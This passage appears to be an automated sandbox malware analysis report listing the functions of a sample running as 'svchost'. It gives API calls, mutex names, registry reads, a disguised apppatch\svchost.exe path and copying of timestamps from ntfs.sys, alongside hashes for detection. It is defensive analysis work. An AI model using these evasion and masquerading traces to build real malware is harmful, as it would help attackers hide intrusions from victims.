                                                                                                                                                                                                            • String ID: 5C5901AC$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$RFK$\t
                                                                                                                                                                                                            • API String ID: 4280258085-2247665511
                                                                                                                                                                                                            • Opcode ID: 86e273ef1b1b95143ba71e2cc5b603d508bf1b18622ba07ce4a4ee26ec927cbd
                                                                                                                                                                                                            • Instruction ID: a3e16c1ed4854f287e7d87ca0a108eb4537d4f9b1b36731d7e2e26307e5dad4c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 86e273ef1b1b95143ba71e2cc5b603d508bf1b18622ba07ce4a4ee26ec927cbd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 83F0D1349C83616BF311AAA1AC4DF1B37D8AF34B08F504414FD46A13809BE0AD18C6A6
                                                                                                                                                                                                            Function 02D1C688 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 34sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}), ref: 02D1C69C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1C6A9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1C6BD
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1C6CF
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D1C6DE
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C6E5
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C590552,BSS), ref: 02D1C6FF
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1C705
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationObjectOpenPathReleaseSingleWait
                                                                                                                                                                                                            • String ID: 5C590552$BSS$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$\t
                                                                                                                                                                                                            • API String ID: 3206501308-3656192160
                                                                                                                                                                                                            • Opcode ID: 3802564fa270dc2ceb0c83e16729c46bb468bb855bd8487cbd2ef6e09f8861bc
                                                                                                                                                                                                            • Instruction ID: 8efeb58514e88622c06023195797ff8f0d259a8c41b5c8134bc3e62815db73a3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3802564fa270dc2ceb0c83e16729c46bb468bb855bd8487cbd2ef6e09f8861bc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 83F090349D8355BBE6216F60BC0DF1A37D4AF0AB59F108905F956917809BF09C18CB67
                                                                                                                                                                                                            Function 02D11930 Relevance: 17.9, APIs: 14, Instructions: 355COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: a7900cbe535a1e89898712b57f2c590c0cca9b27d16e20da0c064af4ca919282
                                                                                                                                                                                                            • Instruction ID: 1510d8aa1653bfba41860462f3ef9b6747818b7f8307e344ba3059c0446821a8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a7900cbe535a1e89898712b57f2c590c0cca9b27d16e20da0c064af4ca919282
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EDC12735A04616AFCB15CF68E8A4BAFBBB2FF46344B144244EE599B744D730EE05CB90
                                                                                                                                                                                                            Function 02D07A00 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 136registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D07A0A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07A41
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07A59
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,?,?,7591F380), ref: 02D07A7B
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,?,00000104,?,?,?,?,7591F380), ref: 02D07AA1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,7591F380), ref: 02D07B2D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,7591F380), ref: 02D07B34
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07B43
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,7591F380), ref: 02D07B73
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AdminAllocCloseOpenProcessQueryUserValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 4189572443-3673152959
                                                                                                                                                                                                            • Opcode ID: e30e238e5711422aed36e11cdcc65371d2a4e89e14a1db5726547b6ff44f40ea
                                                                                                                                                                                                            • Instruction ID: 16ff7c2a9ed13be6827fae8ebf40404abe90b70dda2b5213ff62883f291830c2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e30e238e5711422aed36e11cdcc65371d2a4e89e14a1db5726547b6ff44f40ea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F41F771A00149ABEB10DA649CC8FEAB7A9EB59304F5045A8E545DB390E770AE84CBA0
                                                                                                                                                                                                            Function 02D113B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D113E3
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D113FB
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000002,?,?,?,?,7591F550,75921620), ref: 02D1141C
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(80000002,A3B7FB56a,00000000,00000001,?,00000104,?,?,?,?,7591F550,75921620), ref: 02D11443
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,00000000,?,?,?,?,?,?,7591F550,75921620), ref: 02D114CD
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,7591F550,75921620), ref: 02D114D4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D114E3
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000002,?,?,?,?,7591F550,75921620), ref: 02D11513
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                            • String ID: A3B7FB56a$software\microsoft
                                                                                                                                                                                                            • API String ID: 4158279268-1283225869
                                                                                                                                                                                                            • Opcode ID: f41ee266a6adea7b7143354d6622901a789f02c1ee8188e3431c8745751ee899
                                                                                                                                                                                                            • Instruction ID: 8168a1cea35113cc5c0533ec0dbac14f21b1c35d49678bcfab753ffc72a3ab6d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f41ee266a6adea7b7143354d6622901a789f02c1ee8188e3431c8745751ee899
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E241277594015D7BEB10DBB4AC89BEA77B9EF59304F4005A8E649D3240E770DE88CBA0
                                                                                                                                                                                                            Function 004019B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 93processstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004019C8
                                                                                                                                                                                                            • memset.MSVCRT ref: 004019EE
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,?+@,00000104,?,?,?,755CDB30,00000000,00000000), ref: 00401A06
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,755CDB30,00000000,00000000), ref: 00401A29
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?+@,?,?,?,755CDB30,00000000,00000000), ref: 00401A4A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,755CDB30,00000000,00000000), ref: 00401A57
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?+@,?,?,?,755CDB30,00000000,00000000), ref: 00401A6E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,755CDB30,00000000,00000000), ref: 00401A7B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
                                                                                                                                                                                                            • String ID: ?+@$D
                                                                                                                                                                                                            • API String ID: 2248944234-1654856090
                                                                                                                                                                                                            • Opcode ID: 63e8d1617f7b3eb59dfa7381756486b10c89a04084b545fc1668d5111b84a648
                                                                                                                                                                                                            • Instruction ID: b4650b333af88615931ce45c43086d11ba0b8feb79f29fc85485a8f74bed1c81
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 63e8d1617f7b3eb59dfa7381756486b10c89a04084b545fc1668d5111b84a648
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C82153B2A002096FDB10DFE4DC84AEF7BBCAB54354F00417AEA05F6251D6749A45CBA4
                                                                                                                                                                                                            Function 00401EA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 76filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,00000000,?,?,?,?,?,00402AE7,?), ref: 00401EC5
                                                                                                                                                                                                            • GetFileTime.KERNEL32(00000000,?,?,*@,?,?,?,?,?,00402AE7,?,?,?), ref: 00401EDF
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402AE7,?), ref: 00401EF5
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402AE7,?), ref: 00401F06
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402AE7,?), ref: 00401F22
                                                                                                                                                                                                            • SetFileTime.KERNEL32(00000000,?,?,*@,?,?,?,?,?,00402AE7,?), ref: 00401F38
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402AE7,?), ref: 00401F4E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402AE7,?), ref: 00401F5F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHandle$CloseCreateInformationTime
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys$*@
                                                                                                                                                                                                            • API String ID: 1046229350-2079472752
                                                                                                                                                                                                            • Opcode ID: debd997a1ae25e968ba5f195e8076c6c73cac294b2f06de3a557e421d3efc3a2
                                                                                                                                                                                                            • Instruction ID: 505fd7f37fca788128ae4fd827e8faf93d8922700b858b40f06f957d70fc4d32
                                                                                                                                                                                                            • Opcode Fuzzy Hash: debd997a1ae25e968ba5f195e8076c6c73cac294b2f06de3a557e421d3efc3a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FA21967250021876D7219B64DC49FEFBB6CAF98750F144225FF01B61E0D7B45A4586E8
                                                                                                                                                                                                            Function 02D24FD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 68memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D07220: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,a3b7fb16a,76EDC3F0,?,?,02D122F0,00000000,00000001), ref: 02D07246
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetFileSizeEx.KERNEL32(00000000,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07264
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000008,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D0728D
                                                                                                                                                                                                              • Part of subcall function 02D07220: RtlAllocateHeap.NTDLL(00000000,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07294
                                                                                                                                                                                                              • Part of subcall function 02D07220: memset.MSVCRT ref: 02D072A7
                                                                                                                                                                                                              • Part of subcall function 02D07220: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D072D3
                                                                                                                                                                                                              • Part of subcall function 02D07220: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D072E3
                                                                                                                                                                                                              • Part of subcall function 02D07220: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02D072F2
                                                                                                                                                                                                              • Part of subcall function 02D07220: UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D07305
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07314
                                                                                                                                                                                                              • Part of subcall function 02D07220: HeapValidate.KERNEL32(00000000), ref: 02D0731B
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 02D24FFE
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D25012
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,?,02D151DB,C:\Windows\apppatch\svchost.exe), ref: 02D25023
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02D25033
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02D151DB,C:\Windows\apppatch\svchost.exe), ref: 02D25070
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,02D151DB,C:\Windows\apppatch\svchost.exe), ref: 02D25073
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02D151DB,C:\Windows\apppatch\svchost.exe), ref: 02D25080
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,02D151DB,C:\Windows\apppatch\svchost.exe), ref: 02D25083
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$Validate$AddressAllocateCountCreateFreeHandleHeaderImageLockModulePointerProcReadSizeTickUnlockmemset
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1866686876-3277137149
                                                                                                                                                                                                            • Opcode ID: b86e1148e39782615642c5996b2eafbcc9c4ea70330c306fd1ea7d8161689fb8
                                                                                                                                                                                                            • Instruction ID: 64e5fce4cdbbaf1d5ef29f28f95b38682f20eb7489d09b9c3e39f8df329f24f4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b86e1148e39782615642c5996b2eafbcc9c4ea70330c306fd1ea7d8161689fb8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 04118E39A802107BE7249FB6BC88F9BBBA9EF55714F944914B909D6380DB34DD14CAE0
                                                                                                                                                                                                            Function 00401DE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 66memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 004013C0: CreateFileA.KERNEL32(00402A87,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004013E7
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401403
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401423
                                                                                                                                                                                                              • Part of subcall function 004013C0: HeapAlloc.KERNEL32(00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 0040142A
                                                                                                                                                                                                              • Part of subcall function 004013C0: memset.MSVCRT ref: 0040143D
                                                                                                                                                                                                              • Part of subcall function 004013C0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00401E04), ref: 0040145A
                                                                                                                                                                                                              • Part of subcall function 004013C0: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401E04), ref: 0040146A
                                                                                                                                                                                                              • Part of subcall function 004013C0: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,00401E04), ref: 00401479
                                                                                                                                                                                                              • Part of subcall function 004013C0: UnlockFile.KERNEL32(00000000,00401E04,00000000,?,00000000,?,?,?,00401E04), ref: 0040148C
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014A1
                                                                                                                                                                                                              • Part of subcall function 004013C0: HeapValidate.KERNEL32(00000000), ref: 004014A4
                                                                                                                                                                                                              • Part of subcall function 004013C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014B1
                                                                                                                                                                                                              • Part of subcall function 004013C0: HeapFree.KERNEL32(00000000), ref: 004014B4
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 00401E0F
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00401E23
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401E34
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401E44
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401E7E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00401E81
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401E8E
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00401E91
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreeValidate$AddressAllocCountCreateHandleHeaderImageLockModulePointerProcReadSizeTickUnlockmemset
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1392322707-3277137149
                                                                                                                                                                                                            • Opcode ID: 1f31fb01e377a77380818de384341757870d4e22472757c70309413c113d3583
                                                                                                                                                                                                            • Instruction ID: 1ecd765bda1492a879e644bd2742a44ced4fa461e9381bf643e5a49b1714824c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1f31fb01e377a77380818de384341757870d4e22472757c70309413c113d3583
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 40112171601314EBD710ABB6ED49B9B7A989F85751B104135FB09F32E1DA38CD04CAA8
                                                                                                                                                                                                            Function 02D21360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 51sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D21370
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D2137F
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21385
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21389
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D2139A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D213A1
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D213CF
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D213E5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSleepSystemUser_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$\t
                                                                                                                                                                                                            • API String ID: 2890719241-422280511
                                                                                                                                                                                                            • Opcode ID: 59c122780d147fdb7777bd37140e39e92443f6e8ded7c160caaf8c1be161f347
                                                                                                                                                                                                            • Instruction ID: ab44fadf101bd7af4f1546e6e6c2360f754558e7cecd46d15ba3b9c60d487773
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 59c122780d147fdb7777bd37140e39e92443f6e8ded7c160caaf8c1be161f347
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A001B9BAD402245BC720DFB4AD88EDA77A8EF68704F844595EA8997240DA70DD58CBB0
                                                                                                                                                                                                            Function 00402E40 Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 39memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402E47
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,.5@,7529E610,00402E2E), ref: 00402E5F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402E62
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 00402E6F
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402E72
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,.5@,.5@,7529E610,00402E2E), ref: 00402E7B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402E7E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,.5@), ref: 00402E8B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402E8E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$Validate$String
                                                                                                                                                                                                            • String ID: .5@
                                                                                                                                                                                                            • API String ID: 2629017576-427766238
                                                                                                                                                                                                            • Opcode ID: 68846457a1a63d72fa89529ead8f04e900e348e70f49c4da8581cfeb29d1e508
                                                                                                                                                                                                            • Instruction ID: 8a0f41a42cc1d9b8d1979a4e7edab232083dfb301258e97597ac6d2db269471b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 68846457a1a63d72fa89529ead8f04e900e348e70f49c4da8581cfeb29d1e508
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 10F0FEB2641211ABE6106BB59E4CF5B3A5CEF95B56F044525B708F71D0CA74CC0086B8
                                                                                                                                                                                                            Function 02D1F9A8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D1F9BC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1F9C5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1F9D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1F9EB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5904bc), ref: 02D1F9F6
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c5904bc,HANDY), ref: 02D1FA10
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1FA16
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
